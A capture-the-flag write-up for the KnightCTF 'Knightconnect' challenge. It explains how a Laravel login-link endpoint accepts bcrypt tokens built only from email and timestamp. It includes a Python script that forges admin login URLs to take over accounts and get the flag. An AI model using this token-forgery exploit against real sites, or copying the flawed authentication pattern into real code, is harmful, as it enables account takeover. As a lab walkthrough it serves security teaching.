KnightCTF
Knightconnect [100 pts]
Challenge Description |
Link to files |
Points: 100 |
Solves: 54 |
- abuse the endpoint for logging with link to log in as user, as the authentication is based on inputs from the user with no interaction with the database
The home page is used for registration/logging in … lets create an account and log in.
Not much here, some posts and user names with Connect button that does nothing … Looking into the source files, we can see that routing takes place in /routes/web.php
.
Route::middleware('guest')->group(function () {
Route::get('/register', [AuthController::class, 'showRegisterForm'])->name('register');
Route::post('/register', [AuthController::class, 'register']);
Route::get('/login', [AuthController::class, 'showLoginForm'])->name('login');
Route::post('/login', [AuthController::class, 'login']);
Route::get('/request-login-url', [AuthController::class, 'showLoginUrlForm'])->name('request-login-url');
Route::post('/request-login-url', [AuthController::class, 'requestLoginUrl']);
Route::get('/login-link', [AuthController::class, 'loginUsingLink']);
});
There is an unusual endpoint at request-login-url
, which is pointing to AuthController
, which can be found at /app/Http/Controllers/AuthController.php
. The interesting functions for us are requestLoginUrl
and loginUsingLink
. The request-login-url
method takes email
as parameter and generates a valid link which logs in as given user. After sending request with email
as parameter, this function validates, that the user exists and crafts URL for /login-link
endpoint, which includes email, timestamp of the request and token, which is hash of the email and timestamp concatenated by |
character.
public function requestLoginUrl(Request $request) {
$request->validate([
'email' => 'required|email',
]);
$user = User::where('email', $request->email)->first();
if (!$user) {
return back()->withErrors(['email' => 'Email not found']);
}
$time = time();
$data = $user->email . '|' . $time;
$token = bcrypt($data);
$loginUrl = url('/login-link?token=' . urlencode($token) . '&time=' . $time . '&email=' . urlencode($user->email));
return back()->with('success', 'Login link generated, but email sending is disabled.');
}
The function handling the /login-link
endpoint takes 3 query arguments (same as those generated in previous function) and validates the token based on email and timestamp (compares newly created hash with the token value). If it matches, the user session is set from the user found in the database and we get redirected to /users
.
public function loginUsingLink(Request $request) {
$token = $request->query('token');
$time = $request->query('time');
$email = $request->query('email');
if (!$token || !$time || !$email) {
return response('Invalid token or missing parameters', 400);
}
if (time() - $time > 3600) {
return response('Token expired', 401);
}
$data = $email . '|' . $time;
if (!Hash::check($data, $token)) {
return response('Token validation failed', 401);
}
$user = User::where('email', $email)->first();
if (!$user) {
return response('User not found', 404);
}
session(['user_id' => $user->id]);
session(['is_admin' => $user->is_admin]);
return redirect()->route('users');
}
If we look into the users
endpoint, we can see a snippet that checks, if the current user is admin and the flag is set and displays the flag.
@if (isset($flag) && session()->has('is_admin') && session('is_admin'))
<div class="flag">
Flag: \{\{ $flag->flag \}\}
</div>
@endif
The flag is taken from a database in the /listUsers
function.
public function listUsers() {
$userId = session('user_id');
$flag = Flag::first();
if (!$userId) {
return redirect()->route('login')->withErrors(['unauthorized' => 'Please login to view this page']);
}
$users = \App\Models\User::all(['id', 'username', 'email', 'is_admin']);
return view('users.index', ['users' => $users, 'flag' => $flag]);
}
From these 3 observations we can conclude that the goal of this challenge is to generate link for the administrator account and use the /login_link
endpoint to login into that account. After that we can simply check the /users
endpoint to get the flag.
Generating the login link
First, we need to identify the possible admin emails. We can locate some potential candidates in resources/views/contact.blade.php
:
<ul class="email-list">
<li>admin1@knightconnect.com</li>
<li>admin@knightconnect.com</li>
<li>tech@knightconnect.com</li>
<li>sponsorship@knightconnect.com</li>
<li>partnership@knightconnect.com</li>
<li>nomanprodhan@knightconnect.com</li>
<li>jannat@knightconnect.com</li>
<li>hello@knightconnect.com</li>
<li>root@knightconnect.com</li>
</ul>
I’ve created this python script for generating links for all possible users:
import time
import bcrypt
import urllib.parse
req_login_url = 'https://kctf2025-knightconnect.knightctf.com/request-login-url'
req_login_link = 'https://kctf2025-knightconnect.knightctf.com/login-link?'
emails = [
'admin1@knightconnect.com',
'admin@knightconnect.com',
'tech@knightconnect.com',
'sponsorship@knightconnect.com',
'partnership@knightconnect.com',
'nomanprodhan@knightconnect.com',
'jannat@knightconnect.com',
'hello@knightconnect.com',
'root@knightconnect.com',
]
def generate_link(email):
req_time = int(time.time())
data = email + "|" + str(req_time)
token = bcrypt.hashpw(data.encode(), bcrypt.gensalt(12)).decode('utf-8')
token = token.replace("$2b$", "$2y$")
params = {
'token': token,
'time': str(req_time),
'email': email
}
new_url = req_login_link + urllib.parse.urlencode(params)
print(new_url)
if __name__ == '__main__':
for email in emails:
generate_link(email)
Here is a short summary:
- generate new timestamp and concatenate it with given email
- calculate token using
bcrypt.hashpw
with 12 rounds- laravel bcrypt generates hashes with
$2y$
prefix, while python with$2b$
… there are only a minor changes in implementation and for this usecase we can just replace the prefix$2b$
->$2y$
- laravel bcrypt generates hashes with
After trying out few different link we managed to get the flag using email nomanprodhan@knightconnect.com
.